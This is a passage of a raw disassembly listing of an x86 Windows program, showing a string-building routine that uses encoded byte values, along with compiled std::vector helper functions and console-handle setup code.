4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3CCh], 36h push 13h lea eax, [esp+8Ch] push eax call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 37h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+0F11h] mov byte ptr [esp+388h], 38h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+84h] push 13h push edx mov byte ptr [esp+3D0h], 39h call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Ah call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+107Eh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 3Bh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+10h] mov [esp+10h], edi push ecx mov ecx, offset byte_4D637F call sub_401A5F lea ecx, [esp+0B0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 3Ch call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Dh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+1234h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 3Eh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 mov byte ptr [esp+3B4h], 3Fh push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 40h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+127Dh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 41h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+188h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 42h call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 43h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+11EBh] mov byte ptr [esp+388h], 44h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx mov byte ptr [esp+3CCh], 45h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 46h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+11A2h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 47h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h mov byte ptr [esp+3C0h], 48h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 49h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Ah call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 4Bh call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Ch call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+1159h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 4Dh call sub_401CC1 ; --------------------------------------------------------------------------- mov [esp+358h], bl lea ecx, [esp+14h] call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx mov byte ptr [esp+3D0h], 4Eh call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 4Fh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+12C6h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 50h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D637F push eax mov [esp+14h], edi call sub_401A5F push offset byte_446F60 push offset word_4E6E8A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_401424 lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401424 push 56D2h push 539h mov byte ptr [esp+360h], 52h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 lea ecx, [esp+230h] push eax push offset dword_4437F4 push ecx call sub_40102D push 56D2h push 539h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 14h lea edx, [esp+260h] push eax push offset dword_4437F4 push edx call sub_40102D sub esp, 0Ch lea eax, [esp+44h] mov ecx, esp mov [esp+24h], esp push eax call sub_4014C9 lea ecx, [esi+606h] push ecx mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp lea edx, [esp+44h] mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+230h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1E8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp lea edx, [esp+2C0h] push edx call sub_4014C9 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+290h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E6E8A call sub_4014C9 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+170h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+140h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+188h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 16Dh call sub_4017E4 push eax push offset byte_44741D mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 1B6h call sub_4017E4 push eax push offset dword_4473D4 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] call sub_4017E4 push eax push offset dword_4472B0 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 124h call sub_4017E4 push eax push offset word_447342 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 0DBh call sub_4017E4 push eax push offset byte_4472F9 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 92h call sub_4017E4 push eax push offset byte_44738B mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 1FFh call sub_4017E4 push eax push offset byte_4474AF mov ecx, offset word_448D06 call sub_401596 lea ecx, [esp+248h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 lea ecx, [esp+218h] mov byte ptr [esp+370h], 53h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+8Ch], esp push eax call sub_401861 lea ecx, [esp+110h] mov byte ptr [esp+388h], 54h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0A8h], esp push eax call sub_401861 lea ecx, [esp+140h] mov byte ptr [esp+3A0h], 55h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0C4h], esp push eax call sub_401861 mov ecx, offset word_448C8E mov byte ptr [esp+3B8h], 52h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+98h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 2 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 1 call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+1E8h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 5C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409450 proc near ; CODE XREF: sub_40146Aj arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401974 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409468 mov ecx, esi call sub_40190B ; --------------------------------------------------------------------------- loc_409468: ; CODE XREF: sub_409450+Fj mov ecx, esi call sub_401A37 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409450 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409490 proc near ; CODE XREF: sub_401A5Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_40168B pop esi retn 4 sub_409490 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094C0 proc near ; CODE XREF: sub_401A37j mov eax, [ecx+4] retn sub_4094C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094E0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4094E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409500 proc near ; CODE XREF: sub_401974j mov edx, [ecx+4] test edx, edx jnz short loc_40950A xor eax, eax retn ; --------------------------------------------------------------------------- loc_40950A: ; CODE XREF: sub_409500+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_409500 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_40168Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A37 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401B9A mov ecx, edi call sub_401A37 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409530 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409580 proc near ; CODE XREF: sub_40190Bj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] nop call near ptr 760A0430h lea edx, [esp+48h+var_34] push offset dword_43F080 push edx call sub_436832 sub_409580 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409600 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4096CB mov ecx, esi call sub_401974 cmp edi, eax jnb short loc_409633 mov ecx, esi call sub_401974 mov ebp, eax jmp short loc_409635 ; --------------------------------------------------------------------------- loc_409633: ; CODE XREF: sub_409600+26j mov ebp, edi loc_409635: ; CODE XREF: sub_409600+31j mov ecx, esi call sub_401974 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CAD ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016D6 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401974 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4096CB: ; CODE XREF: sub_409600+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409729 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401F96 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409729: ; CODE XREF: sub_409600+D8j test edi, edi jbe short loc_409763 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016D6 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CCB mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401F96 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409763: ; CODE XREF: sub_409600+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_409600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4097D0 proc near ; CODE XREF: sub_40170Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4097F0 loc_4097E1: ; CODE XREF: sub_4097D0+1Ej push esi mov ecx, edi call sub_402072 add esi, 4 cmp esi, ebx jnz short loc_4097E1 loc_4097F0: ; CODE XREF: sub_4097D0+Fj pop edi pop esi pop ebx retn 8 sub_4097D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409810 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_409810 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409830 proc near ; CODE XREF: sub_402072j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409830 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409850 proc near ; CODE XREF: sub_4016D6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409882 push edi mov edi, [esp+10h+arg_8] loc_409866: ; CODE XREF: sub_409850+27j push esi push edi mov ecx, ebx call sub_4015AA add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409866 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409882: ; CODE XREF: sub_409850+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098A0 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4098C7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_4098B6: ; CODE XREF: sub_4098A0+23j push ebx push esi mov ecx, ebp call sub_4015AA add esi, 4 dec edi jnz short loc_4098B6 pop esi pop ebx loc_4098C7: ; CODE XREF: sub_4098A0+Aj pop edi pop ebp retn 0Ch sub_4098A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098E0 proc near ; CODE XREF: sub_401CADj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_40203B sub_4098E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_4015AAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_409910 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409940 proc near ; CODE XREF: sub_401F96j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40995D mov edx, [esp+arg_8] push esi loc_409951: ; CODE XREF: sub_409940+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409951 pop esi locret_40995D: ; CODE XREF: sub_409940+Aj retn sub_409940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409970 proc near ; CODE XREF: sub_401CCBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409992 mov eax, [esp+arg_8] push esi loc_409981: ; CODE XREF: sub_409970+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409981 pop esi retn ; --------------------------------------------------------------------------- loc_409992: ; CODE XREF: sub_409970+Aj mov eax, [esp+arg_8] retn sub_409970 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099D0 proc near ; CODE XREF: sub_40203Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4099DA xor eax, eax loc_4099DA: ; CODE XREF: sub_4099D0+6j shl eax, 2 push eax call sub_4367FA sub_4099D0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A00 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409A1B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409A1B: ; CODE XREF: sub_409A00+11j retn sub_409A00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A30 proc near ; CODE XREF: sub_401979j arg_0 = dword ptr 4 mov al, byte_44718A push esi test al, al mov esi, ecx jz short loc_409A66 push edi call near ptr 2811729h nop mov edi, dword_50F8C4 push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409A66: ; CODE XREF: sub_409A30+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409A30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AA0 proc near ; CODE XREF: sub_401CDAj mov al, byte_44718A push esi test al, al mov esi, ecx jz short loc_409ABF nop call near ptr 2811B29h mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409ABF: ; 